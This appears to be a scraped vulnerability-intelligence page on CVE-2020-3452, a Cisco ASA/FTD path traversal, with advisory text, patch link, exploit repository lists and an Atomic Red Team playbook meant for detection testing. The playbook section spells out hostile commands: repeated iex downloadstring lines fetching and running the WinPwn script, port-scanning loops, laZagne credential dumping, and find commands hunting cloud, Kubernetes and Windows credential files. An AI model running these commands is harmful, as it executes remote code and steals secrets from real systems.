CVE-2020-3452
Overview
This vulnerability is a directory traversal flaw in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software. It arises from insufficient input validation of URLs in HTTP requests processed by the affected devices. The flaw specifically impacts the web services file system component, which is enabled when WebVPN or AnyConnect features are configured on the device.
Vulnerability Description
A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.
Impact
An unauthenticated remote attacker can exploit this vulnerability to read sensitive files stored within the web services file system of the targeted device. No authentication or user interaction is required to perform the directory traversal attack. The exposed files may contain confidential configuration data or user information, potentially leading to information disclosure and aiding further attacks against the network perimeter. However, system or underlying OS files remain inaccessible, limiting the scope to file disclosure within the web services context.
Solution
Cisco has released security updates for Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software addressing this vulnerability. Administrators should apply the patches as detailed in the Cisco Security Advisory available at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86. The advisory contains version-specific fixes and recommended upgrade paths. No alternative workarounds are provided; timely patching is the primary mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
|
|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (3)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Cisco ASA and FTD 9.6.4.42 - Path Traversal | 3ndG4me | webapps | hardware | - | View |
| Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion | 0xmmnbassel | webapps | hardware | - | View |
| Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2) | Freakyclown | webapps | hardware | - | View |
GitHub PoCs (23)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter
CISCO CVE-2020-3452 Scanner & Exploiter
|
darklotuskdb | 98 | 25 | 2021-01-05 | View |
|
3ndG4me/CVE-2020-3452-Exploit
Just basic scanner abusing CVE-2020-3452 to enumerate the standard files accessible in the Web Directory of the CISCO AS...
|
3ndG4me | 24 | 13 | 2020-09-28 | View |
|
cygenta/CVE-2020-3452
|
cygenta | 26 | 9 | 2020-12-13 | View |
|
PR3R00T/CVE-2020-3452-Cisco-Scanner
CVE-2020-3452 Cisco ASA Scanner -unauth Path Traversal Check
|
PR3R00T | 25 | 6 | 2020-07-24 | View |
|
0x5ECF4ULT/CVE-2020-3452
CVE-2020-3452 exploit
|
0x5ECF4ULT | 23 | 5 | 2020-08-01 | View |
|
murataydemir/CVE-2020-3452
[CVE-2020-3452] Cisco Adaptive Security Appliance (ASA) & Cisco Firepower Threat Defense (FTD) Web Service Read-Only Dir...
|
murataydemir | 8 | 6 | 2020-08-13 | View |
|
fuzzlove/Cisco-ASA-FTD-Web-Services-Traversal
CVE-2020-3452 - Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) traversal
|
fuzzlove | 6 | 2 | 2021-02-03 | View |
|
grim3/CVE-2020-3452
CVE-2020-3452
|
grim3 | 4 | 3 | 2020-11-18 | View |
|
foulenzer/CVE-2020-3452
Little, stupid python validator(?) for CVE-2020-3452 on CISCO devices.
|
foulenzer | 3 | 1 | 2020-07-25 | View |
|
faisalfs10x/Cisco-CVE-2020-3452-shodan-scanner
simple bash script of CVE-2020-3452 Cisco ASA / Firepower Read-Only Path Traversal Vulnerability checker
|
faisalfs10x | 2 | 2 | 2021-02-04 | View |
|
Gh0st0ne/http-vuln-cve2020-3452.nse
CVE-2020-3452 : Cisco ASA and FTD Unauthorized Remote File Reading Nmap NSE Script
|
Gh0st0ne | 0 | 4 | 2020-07-29 | View |
|
mr-r3b00t/CVE-2020-3452
|
mr-r3b00t | 0 | 3 | 2020-07-24 | View |
|
XDev05/CVE-2020-3452-PoC
|
XDev05 | 2 | 0 | 2020-07-24 | View |
|
Loneyers/cve-2020-3452
unauth file read in cisco asa & firepower.
|
Loneyers | 2 | 0 | 2020-07-24 | View |
|
paran0id34/CVE-2020-3452
CVE-2020-3452 - directory traversal in Cisco ASA and Cisco Firepower Threat Defense
|
paran0id34 | 1 | 0 | 2020-08-03 | View |
|
ludy-dev/Cisco-ASA-LFI
(CVE-2020-3452) Cisco Adaptive Security Appliance Software - Local File Inclusion Vuln Test sciript
|
ludy-dev | 1 | 0 | 2020-08-31 | View |
|
Aviksaikat/CVE-2020-3452
Test vulnerability of CVE-2020-3452
|
Aviksaikat | 1 | 0 | 2021-11-03 | View |
|
Cappricio-Securities/CVE-2020-3452
Cisco Adaptive Security Appliance (ASA)/Firepower Threat Defense (FTD) - Local File Inclusion
|
Cappricio-Securities | 1 | 0 | 2024-05-25 | View |
|
curtishoughton/CVE-2020-3452-Cisco-Python-Scanner
Safe Python scanner for CVE-2020-3452 (Cisco ASA/FTD WebVPN Directory Traversal)
|
curtishoughton | 0 | 0 | 2026-05-16 | View |
|
sujaygr8/CVE-2020-3452
|
sujaygr8 | 0 | 0 | 2021-06-10 | View |
|
Veids/CVE-2020-3452_auto
|
Veids | 0 | 0 | 2022-01-10 | View |
|
iveresk/cve-2020-3452
Just proof of concept for Cisco CVE-2020-3452. Using external or internal file base.
|
iveresk | 0 | 0 | 2022-05-07 | View |
|
abrewer251/CVE-2020-3452_Cisco_ASA_PathTraversal
Proof-of-concept script for CVE-2020-3452 — Cisco ASA/FTD Path Traversal vulnerability. Supports automated extraction of...
|
abrewer251 | 0 | 0 | 2025-09-23 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-3452 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/158646/Cisco-ASA-FTD-Remote-File-Disclosure.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/158647/Cisco-Adaptive-Security-Appliance-Software-9.11-Local-File-Inclusion.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/159523/Cisco-ASA-FTD-9.6.4.42-Path-Traversal.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/160497/Cisco-ASA-9.14.1.10-FTD-6.6.0.1-Path-Traversal.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3452 |